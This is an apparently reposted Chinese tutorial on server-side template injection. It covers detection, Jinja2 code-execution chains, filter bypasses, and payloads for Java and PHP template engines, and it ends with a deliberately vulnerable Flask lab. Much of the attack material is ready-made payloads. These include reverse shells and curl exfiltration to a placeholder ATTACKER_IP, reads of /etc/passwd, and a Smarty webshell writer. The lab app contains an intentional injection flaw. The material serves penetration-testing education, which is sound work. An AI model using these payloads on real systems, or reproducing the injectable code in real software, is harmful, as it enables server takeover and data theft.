SSTI服务端模板注入:从原理到利用链全解析

admin 2026-04-07 01:28:30 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文深入解析SSTI服务端模板注入漏洞,从原理、检测到利用链全面覆盖。重点分析Jinja2引擎的RCE利用链,提供多种实战Payload如lipsum链可直接执行系统命令。文档包含漏洞危害评估、多引擎检测方法及自动化脚本,强调该漏洞可直接导致服务器沦陷的高风险性,并提醒在授权环境下测试。 综合评分: 87 文章分类: 漏洞分析,WEB安全,渗透测试,安全开发,红队


cover_image

SSTI服务端模板注入:从原理到利用链全解析

小悉 小悉

爱安全Info

2026年4月2日 06:29 安徽

SSTI 服务端模板注入:从原理到利用链全解析

发布日期: 2026 年 04 月 02 日 漏洞类型: 服务端模板注入 (Server-Side Template Injection) CWE 编号: CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine) OWASP 分类: A03:2021 – Injection 难度等级: 🟡 中级 → 🔴 高级 风险等级: 🔴 High(可直接 RCE) 法律提醒: 仅在授权环境中测试,遵守《网络安全法》


0x01 什么是 SSTI

SSTI(Server-Side Template Injection)是指攻击者能将恶意载荷注入到服务端模板引擎的模板字符串中,导致模板引擎在渲染时执行了非预期的代码。

核心区别:

  • XSS → 注入点在浏览器(客户端),影响用户
  • SSTI → 注入点在服务端模板引擎,直接在服务器上执行,影响服务器

一个最简单的例子(Python Flask + Jinja2):

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/greet')
def greet():
    name = request.args.get('name', 'World')
    # 危险:用户输入直接拼接到模板字符串
    template = f"Hello {name}!"
    return render_template_string(template)

当访问 /greet?name={{7*7}} 时,页面返回 Hello 49! 而不是 Hello {{7*7}}!,说明模板表达式被执行了。

安全写法应该是:

@app.route('/greet')
def greet():
    name = request.args.get('name', 'World')
    # 安全:用户输入作为变量传入,不参与模板解析
    return render_template_string("Hello {{ name }}!", name=name)

SSTI 的危害远超 XSS: 一旦存在 SSTI,攻击者通常可以实现远程代码执行(RCE),完全控制服务器。这不是一个”低危”漏洞,而是直通 shell 的高危漏洞。


0x02 常见受影响模板引擎

不同语言有不同的模板引擎,攻击语法也各不相同:

| 模板引擎 | 语言 | 检测 Payload | 典型框架 | | — | — | — | — | | Jinja2 | Python | {{7*7}} → 49 | Flask | | Twig | PHP | {{7*7}} → 49 | Symfony | | Freemarker | Java | ${7*7} → 49 | Spring MVC | | Velocity | Java | #set($x=7*7)${x} → 49 | Apache Velocity | | Thymeleaf | Java | 特殊语法(见下文) | Spring Boot | | Smarty | PHP | {7*7} → 49 | 独立使用 | | Pebble | Java | {{7*7}} → 49 | 独立使用 | | ERB | Ruby | <%= 7*7 %> → 49 | Rails | | Tornado | Python | {{7*7}} → 49 | Tornado | | Mako | Python | ${7*7} → 49 | Pylons, Pyramid |


0x03 SSTI 检测方法论

3.1 指纹识别决策树

PortSwigger 给出的经典检测流程:

输入&nbsp;${7*7}
&nbsp;&nbsp;|--&nbsp;返回&nbsp;49&nbsp;→&nbsp;可能是&nbsp;Freemarker&nbsp;/&nbsp;Velocity&nbsp;/&nbsp;Mako
&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|--&nbsp;输入&nbsp;${7*'7'}
&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|--&nbsp;返回&nbsp;7777777&nbsp;→&nbsp;Jinja2(不太可能在Java)
&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|--&nbsp;报错&nbsp;→&nbsp;Freemarker
&nbsp;&nbsp;|--&nbsp;返回原文&nbsp;→&nbsp;试&nbsp;{{7*7}}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|--&nbsp;返回&nbsp;49&nbsp;→&nbsp;Jinja2&nbsp;/&nbsp;Twig&nbsp;/&nbsp;Pebble
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|--&nbsp;输入&nbsp;{{7*'7'}}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|--&nbsp;返回&nbsp;7777777&nbsp;→&nbsp;Jinja2
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|--&nbsp;返回&nbsp;49&nbsp;→&nbsp;Twig
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|--&nbsp;返回原文&nbsp;→&nbsp;试其他语法&nbsp;(<%=&nbsp;%>,&nbsp;{},&nbsp;#{})

3.2 通用检测 Payload 列表

数学运算类(最常用):

{{7*7}}
${7*7}
<%=&nbsp;7*7&nbsp;%>
#{7*7}
{7*7}
{{7*'7'}}

信息泄露类:

{{request}}
{{config}}
{{self}}
${object.getClass()}

报错触发类:

{{foobar}}
${foobar}
<%=&nbsp;foobar&nbsp;%>
{{''.__class__}}

3.3 自动化检测脚本

#!/usr/bin/env&nbsp;python3
"""
SSTI&nbsp;多引擎自动检测脚本
用法:&nbsp;python&nbsp;ssti_detect.py&nbsp;<URL>&nbsp;<参数名>
示例:&nbsp;python&nbsp;ssti_detect.py&nbsp;"http://target/page"&nbsp;"name"
"""
import&nbsp;requests
import&nbsp;sys
import&nbsp;urllib3
urllib3.disable_warnings()

PAYLOADS&nbsp;=&nbsp;[
&nbsp;&nbsp;&nbsp;&nbsp;("{{7*7}}",&nbsp;"49",&nbsp;"Jinja2/Twig/Pebble"),
&nbsp;&nbsp;&nbsp;&nbsp;("${7*7}",&nbsp;"49",&nbsp;"Freemarker/Velocity/Mako"),
&nbsp;&nbsp;&nbsp;&nbsp;("<%=&nbsp;7*7&nbsp;%>",&nbsp;"49",&nbsp;"ERB/JSP"),
&nbsp;&nbsp;&nbsp;&nbsp;("#{7*7}",&nbsp;"49",&nbsp;"Ruby/Java&nbsp;EL"),
&nbsp;&nbsp;&nbsp;&nbsp;("{{7*'7'}}",&nbsp;"7777777",&nbsp;"Jinja2&nbsp;(confirmed)"),
&nbsp;&nbsp;&nbsp;&nbsp;("${7*'7'}",&nbsp;"7777777",&nbsp;"Mako/Groovy"),
&nbsp;&nbsp;&nbsp;&nbsp;("{{config}}",&nbsp;"<Config",&nbsp;"Jinja2&nbsp;(Flask&nbsp;config&nbsp;leak)"),
&nbsp;&nbsp;&nbsp;&nbsp;("{{request.application.__globals__}}",&nbsp;"builtin",&nbsp;"Jinja2&nbsp;(deep&nbsp;access)"),
&nbsp;&nbsp;&nbsp;&nbsp;("${class.getResource('')}",&nbsp;"file:",&nbsp;"Java&nbsp;EL&nbsp;/&nbsp;Freemarker"),
&nbsp;&nbsp;&nbsp;&nbsp;("{php}echo(7*7);{/php}",&nbsp;"49",&nbsp;"Smarty&nbsp;(PHP&nbsp;tags)"),
]

def&nbsp;detect_ssti(url,&nbsp;param):
&nbsp;&nbsp;&nbsp;&nbsp;print(f"[*]&nbsp;目标:&nbsp;{url},&nbsp;参数:&nbsp;{param}")
&nbsp;&nbsp;&nbsp;&nbsp;print(f"[*]&nbsp;开始检测&nbsp;{len(PAYLOADS)}&nbsp;个&nbsp;Payload...\n")

&nbsp;&nbsp;&nbsp;&nbsp;detected&nbsp;=&nbsp;[]
&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;payload,&nbsp;expected,&nbsp;engine&nbsp;in&nbsp;PAYLOADS:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r&nbsp;=&nbsp;requests.get(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;url,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;params={param:&nbsp;payload},
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;timeout=10,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;verify=False
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;expected&nbsp;in&nbsp;r.text:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(f"&nbsp;&nbsp;[+]&nbsp;SSTI&nbsp;命中!&nbsp;引擎:&nbsp;{engine}")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(f"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Payload:&nbsp;{payload}")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(f"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;证据:&nbsp;响应中包含&nbsp;'{expected}'")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;detected.append((payload,&nbsp;engine))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;except&nbsp;requests.RequestException&nbsp;as&nbsp;e:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(f"&nbsp;&nbsp;[!]&nbsp;请求失败:&nbsp;{e}")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;continue

&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;detected:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(f"\n[+]&nbsp;检测完成,发现&nbsp;{len(detected)}&nbsp;个有效&nbsp;Payload")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;detected
&nbsp;&nbsp;&nbsp;&nbsp;else:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print("\n[-]&nbsp;未检测到&nbsp;SSTI&nbsp;漏洞")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;None

if&nbsp;__name__&nbsp;==&nbsp;"__main__":
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;len(sys.argv)&nbsp;<&nbsp;3:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(f"用法:&nbsp;{sys.argv[0]}&nbsp;<URL>&nbsp;<参数名>")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sys.exit(1)
&nbsp;&nbsp;&nbsp;&nbsp;detect_ssti(sys.argv[1],&nbsp;sys.argv[2])

0x04 Jinja2 利用链深度解析(Python)

Jinja2 是 SSTI 研究中最经典、利用链最丰富的引擎。理解了 Jinja2 的利用思路,其他引擎可以触类旁通。

4.1 基础信息泄露

#&nbsp;Flask&nbsp;配置泄露(SECRET_KEY、数据库密码等)
{{config}}
{{config.items()}}
{{config['SECRET_KEY']}}

#&nbsp;请求对象信息
{{request.environ}}
{{request.headers}}
{{request.cookies}}

#&nbsp;自身类信息(MRO&nbsp;链的起点)
{{''.__class__}}
#&nbsp;输出:&nbsp;<class&nbsp;'str'>

{{''.__class__.__mro__}}
#&nbsp;输出:&nbsp;(<class&nbsp;'str'>,&nbsp;<class&nbsp;'object'>)

{{''.__class__.__mro__[1].__subclasses__()}}
#&nbsp;输出:&nbsp;几百个&nbsp;Python&nbsp;内置类

4.2 RCE 利用链一:MRO 子类遍历

核心思路: Python 中一切皆对象。通过字符串 ''__class__ 找到 object 基类,再通过 __subclasses__() 遍历所有子类,找到能执行命令的类(如 subprocess.Popenos._wrap_close)。

第一步:找到 object 基类

{{''.__class__.__mro__}}
#&nbsp;返回:&nbsp;(<class&nbsp;'str'>,&nbsp;<class&nbsp;'object'>)

{{''.__class__.__mro__[1]}}
#&nbsp;返回:&nbsp;<class&nbsp;'object'>

第二步:列出所有子类

{{''.__class__.__mro__[1].__subclasses__()}}
#&nbsp;返回几百个类,需要从中找到危险类

第三步:自动寻找 Popen 类索引

{%&nbsp;for&nbsp;c&nbsp;in&nbsp;''.__class__.__mro__[1].__subclasses__()&nbsp;%}
&nbsp;&nbsp;{%&nbsp;if&nbsp;'Popen'&nbsp;in&nbsp;c.__name__&nbsp;%}
&nbsp;&nbsp;&nbsp;&nbsp;索引:&nbsp;{{loop.index0}}&nbsp;-&nbsp;类名:&nbsp;{{c}}
&nbsp;&nbsp;{%&nbsp;endif&nbsp;%}
{%&nbsp;endfor&nbsp;%}

第四步:执行命令

假设 subprocess.Popen 在索引 407(不同环境索引不同):

#&nbsp;执行命令并获取输出
{{''.__class__.__mro__[1].__subclasses__()[407]('id',shell=True,stdout=-1).communicate()[0]}}

#&nbsp;更稳定的写法(自动查找,不依赖索引)
{%&nbsp;for&nbsp;c&nbsp;in&nbsp;''.__class__.__mro__[1].__subclasses__()&nbsp;%}
&nbsp;&nbsp;{%&nbsp;if&nbsp;c.__name__&nbsp;==&nbsp;'Popen'&nbsp;%}
&nbsp;&nbsp;&nbsp;&nbsp;{{c('id',shell=True,stdout=-1).communicate()}}
&nbsp;&nbsp;{%&nbsp;endif&nbsp;%}
{%&nbsp;endfor&nbsp;%}

4.3 RCE 利用链二:os._wrap_close

os._wrap_close 类的 __init__.__globals__ 中包含 popen 函数:

{%&nbsp;for&nbsp;c&nbsp;in&nbsp;''.__class__.__mro__[1].__subclasses__()&nbsp;%}
&nbsp;&nbsp;{%&nbsp;if&nbsp;c.__name__&nbsp;==&nbsp;'_wrap_close'&nbsp;%}
&nbsp;&nbsp;&nbsp;&nbsp;{{c.__init__.__globals__['popen']('id').read()}}
&nbsp;&nbsp;{%&nbsp;endif&nbsp;%}
{%&nbsp;endfor&nbsp;%}

4.4 RCE 利用链三:Jinja2 内置全局对象(最短 Payload)

Jinja2 有几个内置全局对象,它们的 __globals__ 中包含 os 模块:

#&nbsp;lipsum&nbsp;链(最常用,Payload&nbsp;最短)
{{lipsum.__globals__['os'].popen('id').read()}}

#&nbsp;cycler&nbsp;链
{{cycler.__init__.__globals__.os.popen('id').read()}}

#&nbsp;joiner&nbsp;链
{{joiner.__init__.__globals__.os.popen('id').read()}}

#&nbsp;namespace&nbsp;链
{{namespace.__init__.__globals__.os.popen('id').read()}}

这些是实战中最推荐的 Payload,因为:

  1. 不依赖子类索引(不同环境通用)
  2. Payload 短小,不容易被 WAF 截断
  3. 成功率高

4.5 RCE 利用链四:builtins

#&nbsp;通过&nbsp;__builtins__&nbsp;导入任意模块
{{''.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}

#&nbsp;通过&nbsp;lipsum&nbsp;访问&nbsp;__builtins__
{{lipsum.__globals__['__builtins__']['__import__']('os').popen('id').read()}}

#&nbsp;直接&nbsp;eval
{{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}

4.6 文件读取

#&nbsp;方法1:通过&nbsp;builtins&nbsp;的&nbsp;open
{{lipsum.__globals__['__builtins__']['open']('/etc/passwd').read()}}

#&nbsp;方法2:通过&nbsp;os.popen&nbsp;+&nbsp;cat
{{lipsum.__globals__['os'].popen('cat&nbsp;/etc/passwd').read()}}

#&nbsp;方法3:通过&nbsp;config&nbsp;对象
{{config.__class__.__init__.__globals__['os'].popen('cat&nbsp;/etc/passwd').read()}}

#&nbsp;方法4:通过&nbsp;MRO&nbsp;找&nbsp;FileLoader
{%&nbsp;for&nbsp;c&nbsp;in&nbsp;''.__class__.__mro__[1].__subclasses__()&nbsp;%}
&nbsp;&nbsp;{%&nbsp;if&nbsp;c.__name__&nbsp;==&nbsp;'FileLoader'&nbsp;%}
&nbsp;&nbsp;&nbsp;&nbsp;{{c.get_data(0,&nbsp;'/etc/passwd')}}
&nbsp;&nbsp;{%&nbsp;endif&nbsp;%}
{%&nbsp;endfor&nbsp;%}

4.7 反弹 Shell

#&nbsp;Bash&nbsp;反弹
{{lipsum.__globals__['os'].popen('bash&nbsp;-c&nbsp;"bash&nbsp;-i&nbsp;>&&nbsp;/dev/tcp/ATTACKER_IP/4444&nbsp;0>&1"').read()}}

#&nbsp;Python&nbsp;反弹
{{lipsum.__globals__['__builtins__']['eval']("__import__('os').system('python3&nbsp;-c&nbsp;\\'import&nbsp;socket,subprocess,os;s=socket.socket();s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])\\')")}}

0x05 WAF Bypass 技巧大全

实战中经常遇到 WAF 或代码层过滤,以下是分类整理的绕过手段:

5.1 关键字过滤绕过

过滤了 classmrosubclasses 等关键字:

#&nbsp;方法1:字符串拼接
{{''|attr('__cla'+'ss__')}}
{{''['__cla''ss__']}}

#&nbsp;方法2:attr&nbsp;过滤器
{{''|attr('__class__')|attr('__mro__')}}

#&nbsp;方法3:通过&nbsp;request&nbsp;对象传入
{{().__class__.__mro__[1].__subclasses__()[407](request.args.cmd,shell=True,stdout=-1).communicate()}}
#&nbsp;URL:&nbsp;?cmd=id

#&nbsp;方法4:16进制编码
{{''['\x5f\x5fclass\x5f\x5f']}}
#&nbsp;\x5f&nbsp;=&nbsp;_

5.2 过滤了引号

#&nbsp;方法1:通过&nbsp;request.args&nbsp;传入字符串
{{lipsum.__globals__[request.args.os].popen(request.args.cmd).read()}}
#&nbsp;URL:&nbsp;?os=os&cmd=id

#&nbsp;方法2:通过&nbsp;request.cookies
{{lipsum.__globals__[request.cookies.os].popen(request.cookies.cmd).read()}}
#&nbsp;Cookie:&nbsp;os=os;&nbsp;cmd=id

#&nbsp;方法3:通过&nbsp;request.values
{{lipsum.__globals__[request.values.os].popen(request.values.cmd).read()}}

#&nbsp;方法4:chr()&nbsp;构造字符串
{%&nbsp;set&nbsp;chr=lipsum.__globals__.__builtins__.chr&nbsp;%}
{{lipsum.__globals__[chr(111)~chr(115)].popen(chr(105)~chr(100)).read()}}
#&nbsp;chr(111)~chr(115)&nbsp;=&nbsp;"os",&nbsp;chr(105)~chr(100)&nbsp;=&nbsp;"id"

5.3 过滤了下划线 _

#&nbsp;方法1:通过&nbsp;request&nbsp;传入
{{()|attr(request.args.a)}}
#&nbsp;URL:&nbsp;?a=__class__

#&nbsp;方法2:16进制
{{()|attr('\x5f\x5fclass\x5f\x5f')}}

#&nbsp;方法3:Unicode&nbsp;编码
{{()|attr('\u005f\u005fclass\u005f\u005f')}}

5.4 过滤了点号 .

#&nbsp;方法1:中括号访问
{{''['__class__']['__mro__'][1]['__subclasses__']()}}

#&nbsp;方法2:attr&nbsp;过滤器
{{''|attr('__class__')|attr('__mro__')|first|attr('__subclasses__')()}}

5.5 过滤了 {{

#&nbsp;方法1:使用&nbsp;{%&nbsp;%}&nbsp;语句块&nbsp;+&nbsp;print
{%&nbsp;print(lipsum.__globals__['os'].popen('id').read())&nbsp;%}

#&nbsp;方法2:使用&nbsp;{%&nbsp;if&nbsp;%}&nbsp;配合外带
{%&nbsp;if&nbsp;lipsum.__globals__['os'].popen('curl&nbsp;ATTACKER_IP:8888/$(id|base64)').read()&nbsp;%}1{%&nbsp;endif&nbsp;%}

#&nbsp;方法3:使用&nbsp;{%&nbsp;set&nbsp;%}&nbsp;赋值
{%&nbsp;set&nbsp;result&nbsp;=&nbsp;lipsum.__globals__['os'].popen('id').read()&nbsp;%}
{%&nbsp;print(result)&nbsp;%}

5.6 过滤了数字

#&nbsp;用&nbsp;length&nbsp;过滤器构造数字
{%&nbsp;set&nbsp;zero&nbsp;=&nbsp;''|length&nbsp;%}&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;0
{%&nbsp;set&nbsp;one&nbsp;=&nbsp;'a'|length&nbsp;%}&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;1
{%&nbsp;set&nbsp;seven&nbsp;=&nbsp;'aaaaaaa'|length&nbsp;%}&nbsp;#&nbsp;7

#&nbsp;用&nbsp;true/false&nbsp;构造
{%&nbsp;set&nbsp;one&nbsp;=&nbsp;true|int&nbsp;%}&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;1
{%&nbsp;set&nbsp;two&nbsp;=&nbsp;one&nbsp;+&nbsp;one&nbsp;%}&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;2

5.7 过滤了中括号 []

#&nbsp;方法1:__getitem__
{{''.__class__.__mro__.__getitem__(1)}}

#&nbsp;方法2:pop
{{''.__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(407)}}

#&nbsp;方法3:过滤器&nbsp;first&nbsp;/&nbsp;last
{{''.__class__.__mro__|last}}&nbsp;&nbsp;#&nbsp;object&nbsp;通常是最后一个

0x06 Java 模板引擎利用

6.1 Freemarker RCE

Freemarker 是 Java 生态中最常见的模板引擎之一:

//&nbsp;方法1:内置&nbsp;Execute&nbsp;类(最直接)
<#assign&nbsp;ex="freemarker.template.utility.Execute"?new()>
${ex("id")}

//&nbsp;方法2:ObjectConstructor&nbsp;构造&nbsp;ProcessBuilder
<#assign&nbsp;ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign&nbsp;br=ob("java.io.BufferedReader",
&nbsp;&nbsp;ob("java.io.InputStreamReader",
&nbsp;&nbsp;&nbsp;&nbsp;ob("java.lang.ProcessBuilder",["id"])?first.start().getInputStream()
&nbsp;&nbsp;)
)>
${br.readLine()}

//&nbsp;方法3:JythonRuntime(需要&nbsp;Jython&nbsp;环境)
<#assign&nbsp;jr="freemarker.template.utility.JythonRuntime"?new()>
<@jr>import&nbsp;os;os.system("id")</@jr>

//&nbsp;文件读取
<#assign&nbsp;is=object?api.class.getResourceAsStream("/etc/passwd")>
FILE:&nbsp;[<#list&nbsp;0..999&nbsp;as&nbsp;_>
&nbsp;&nbsp;<#assign&nbsp;byte=is.read()>
&nbsp;&nbsp;<#if&nbsp;byte&nbsp;==&nbsp;-1><#break></#if>
&nbsp;&nbsp;${byte?char}
</#list>]

6.2 Velocity RCE

//&nbsp;方法1:Runtime.exec
#set($rt=$class.forName("java.lang.Runtime"))
#set($m=$rt.getMethod("getRuntime",null))
#set($r=$m.invoke(null,null))
#set($p=$r.exec("id"))
#set($is=$p.getInputStream())
#foreach($i&nbsp;in&nbsp;[1..$is.available()])
$chr.toChars($is.read())
#end

//&nbsp;方法2:ProcessBuilder
#set($pb=new&nbsp;java.lang.ProcessBuilder(["bash","-c","id"]))
#set($p=$pb.start())

6.3 Thymeleaf RCE(Spring Boot)

Thymeleaf 的 SSTI 比较特殊,通常出现在控制器返回值URL路径中:

//&nbsp;漏洞代码示例
@GetMapping("/path")
public&nbsp;String&nbsp;path(@RequestParam&nbsp;String&nbsp;lang)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;"user/"&nbsp;+&nbsp;lang&nbsp;+&nbsp;"/welcome";
&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;用户输入拼接到视图名,触发&nbsp;Thymeleaf&nbsp;表达式解析
}

利用 Payload:

#&nbsp;基础&nbsp;RCE
__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x

#&nbsp;带回显&nbsp;RCE
__${new&nbsp;java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()}__::.x

#&nbsp;URL&nbsp;编码后发送
__${T(java.lang.Runtime).getRuntime().exec(new&nbsp;String[]{'bash','-c','id'})}__::.x

注意: Thymeleaf 3.0.12+ 已修复了视图名中的表达式注入(CVE-2020-35723),但仍需注意 th:text 等属性中的动态内容。


0x07 PHP 模板引擎利用

7.1 Twig RCE

//&nbsp;Twig&nbsp;1.x(_self&nbsp;可用)
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

//&nbsp;Twig&nbsp;2.x/3.x(_self&nbsp;受限,使用&nbsp;filter/map)
{{['id']|filter('system')}}
{{['id']|map('system')}}
{{['id',0]|sort('system')}}
{{['id']|filter('exec')}}
{{['id']|reduce('system')}}

//&nbsp;文件读取
{{'../../../etc/passwd'|file_excerpt(0,100)}}

//&nbsp;信息泄露
{{app.request.server.all|join(',')}}

7.2 Smarty RCE

//&nbsp;Smarty&nbsp;2.x(直接执行&nbsp;PHP)
{php}system('id');{/php}

//&nbsp;Smarty&nbsp;3.x(php&nbsp;标签被移除,使用&nbsp;if)
{if&nbsp;system('id')}{/if}
{if&nbsp;exec('id')}{/if}
{if&nbsp;passthru('id')}{/if}

//&nbsp;通过&nbsp;self&nbsp;读文件
{self::getStreamVariable("file:///etc/passwd")}

//&nbsp;写&nbsp;webshell
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php&nbsp;system($_GET['cmd']);&nbsp;?>",self::clearConfig())}

0x08 实战 POC:完整复现环境

8.1 Flask SSTI 靶场搭建

#&nbsp;vuln_app.py&nbsp;-&nbsp;漏洞环境
from&nbsp;flask&nbsp;import&nbsp;Flask,&nbsp;request,&nbsp;render_template_string

app&nbsp;=&nbsp;Flask(__name__)
app.config['SECRET_KEY']&nbsp;=&nbsp;'ThisIsASuperSecretKey123!'
app.config['DATABASE_URI']&nbsp;=&nbsp;'mysql://root:password@localhost/mydb'

@app.route('/')
def&nbsp;index():
&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;'''
&nbsp;&nbsp;&nbsp;&nbsp;<h1>Search&nbsp;Page</h1>
&nbsp;&nbsp;&nbsp;&nbsp;<form&nbsp;action="/search"&nbsp;method="GET">
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input&nbsp;name="q"&nbsp;placeholder="Search...">
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<button&nbsp;type="submit">Search</button>
&nbsp;&nbsp;&nbsp;&nbsp;</form>
&nbsp;&nbsp;&nbsp;&nbsp;'''

@app.route('/search')
def&nbsp;search():
&nbsp;&nbsp;&nbsp;&nbsp;q&nbsp;=&nbsp;request.args.get('q',&nbsp;'')
&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;漏洞点:用户输入直接拼接到模板字符串
&nbsp;&nbsp;&nbsp;&nbsp;template&nbsp;=&nbsp;'<h1>Results&nbsp;for:&nbsp;%s</h1>'&nbsp;%&nbsp;q
&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;render_template_string(template)

if&nbsp;__name__&nbsp;==&nbsp;'__main__':
&nbsp;&nbsp;&nbsp;&nbsp;app.run(debug=True,&nbsp;host='0.0.0.0',&nbsp;port=5000)

复现步骤:

#&nbsp;1.&nbsp;安装&nbsp;Flask
pip&nbsp;install&nbsp;flask

#&nbsp;2.&nbsp;启动靶场
python&nbsp;vuln_app.py

#&nbsp;3.&nbsp;检测&nbsp;SSTI
curl&nbsp;"http://localhost:5000/search?q={{7*7}}"
#&nbsp;预期:&nbsp;Results&nbsp;for:&nbsp;49

#&nbsp;4.&nbsp;泄露&nbsp;SECRET_KEY
curl&nbsp;"http://localhost:5000/search?q={{config.SECRET_KEY}}"
#&nbsp;预期:&nbsp;Results&nbsp;for:&nbsp;ThisIsASuperSecretKey123!

#&nbsp;5.&nbsp;执行系统命令
curl&nbsp;"http://localhost:5000/search?q={{lipsum.__globals__['os'].popen('id').read()}}"
#&nbsp;预期:&nbsp;Results&nbsp;for:&nbsp;uid=1000(xxx)&nbsp;gid=1000(xxx)

#&nbsp;6.&nbsp;读取敏感文件
curl&nbsp;"http://localhost:5000/search?q={{lipsum.__globals__['os'].popen('cat%20/etc/passwd').read()}}"

8.2 Docker 一键靶场

#&nbsp;Dockerfile
FROM&nbsp;python:3.11-slim
RUN&nbsp;pip&nbsp;install&nbsp;flask
COPY&nbsp;vuln_app.py&nbsp;/app/
WORKDIR&nbsp;/app
EXPOSE&nbsp;5000
